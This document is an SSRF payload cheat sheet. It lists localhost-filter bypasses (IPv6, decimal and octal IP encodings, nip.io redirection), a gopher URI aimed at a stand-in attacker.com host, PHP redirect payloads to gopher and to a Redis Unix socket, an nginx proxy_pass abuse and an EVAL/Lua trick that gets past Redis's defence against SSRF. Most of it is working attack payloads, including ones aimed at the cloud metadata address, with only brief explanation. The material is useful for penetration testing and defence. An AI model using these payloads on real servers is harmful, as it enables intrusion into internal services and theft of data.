Server Side Request Forgery SSRF
Definition
Server-Side Request Forgery (SSRF) is a vulnerability that allows attackers to manipulate a server into making requests to internal or external resources, potentially gaining access to data and systems not directly reachable by the attacker.
Bypass localhost filters
Payloads with localhost
- Using
localhost
http://localhost:80 http://localhost:443 http://localhost:22
- Using
127.0.0.1
http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22
- Using
0.0.0.0
http://0.0.0.0:80 http://0.0.0.0:443 http://0.0.0.0:22
Bypass using HTTPS
https://127.0.0.1/
https://localhost/
Bypass localhost with [::]
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0000::1]:25/ SMTP
http://[0000::1]:22/ SSH
http://[0000::1]:3128/ Squid
Bypass localhost with a domain redirection
Domain | Redirect to |
---|---|
localtest.me | ::1 |
localh.st | 127.0.0.1 |
spoofed.[BURP_COLLABORATOR] | 127.0.0.1 |
spoofed.redacted.oastify.com | 127.0.0.1 |
company.127.0.0.1.nip.io | 127.0.0.1 |
If you don't have a domain you can use firefox.fr
curl -Lv "firefox.fr"
* Trying 127.0.0.1:80...
The service nip.io is awesome for that, it will convert any ip address as a dns.
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
Bypass localhost with CIDR
IP addresses from 127.0.0.0/8
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
Bypass using a decimal IP location
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254
Bypass using octal IP
Implementations differ on how to handle octal format of ipv4.
http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
Gopher Protocol
The Gopher protocol provides an avenue for SSRF exploitation:
Gopher URI: Structured as gopher://<host>:<port>/<gopher-path>
.
Example: gopher://attacker.com:1234/_Hello%0AWorld.
Default port: 70.
Tools like Gopherus facilitate SSRF to Remote Code Execution (RCE) by generating payloads for various services like MySQL, Memcached, and more.
TOCTOU (Time-of-check to time-of-use)
This technique exploits the window between checking and using a resource. By creating a domain that resolves to a whitelisted IP address initially and then to the target IP address after the check, the attacker can bypass certain restrictions.
Redirection
Redirection techniques can be used to direct SSRF requests to specific services or ports, as demonstrated in the PHP code snippet redirecting to a gopher URI.
<?php header("gopher://localhost:11211/1stats%0aquit"); ?>
SSRF on Nginx
-
proxy_pass http://$1;
directive allowing SSRF - Bypass using
curl http://localhost:1337/assets/127.0.0.1:80/
in fact, this directive means that what is passed to the (.+) regex will be used by nginx as a proxy, so it allows to get directly an SSRF
Interacting with Redis Unix Socket
- If Redis socket exposed, use
http://unix:/path/to/socket
- Example:
http://unix:/var/run/redis/redis.sock
Using socat for TCP Proxy
socat -t100 -x -v UNIX-LISTEN:/path/to/sock,mode=777 UNIX-CONNECT:/original/sock
Bypassing Redis Security
explaination
The chain of a SSRF and Redis is promising, but there's a hurdle: Redis, the target service, doesn't accept HTTP protocol, and SSRF typically relies on HTTP. Thus, the challenge lies in crafting an HTTP request that appears valid to Redis, allowing us to leverage the SSRF to reveal the flag.
In the RESP protocol, commands are separated by \r\n (CRLF), identical to HTTP's line endings. Consequently, Redis treats each line of the HTTP request as a distinct command.
However, the response to the second command presents an issue: Redis abruptly terminates the connection. This behavior, introduced in 2017, is a security measure against SSRF attacks. Redis detects HTTP requests by scanning for specific keywords like POST or Host:, and immediately terminates the connection to prevent exploitation. https://github.com/redis/redis/commit/874804da0c014a7d704b3d285aa500098a931f50
the bypass
- Use 'EVAL' to execute Lua and bypass 'POST', 'Host:' filter
- Format:
'"redis.call(<command>); return ARGV[1];" 0'
<?php
header("HTTP/1.1 302");
header('Location: http://unix:/path/to/sock:"redis.call(\'SET\',\'key\',\'val\'); return ARGV[1];" 0');
?>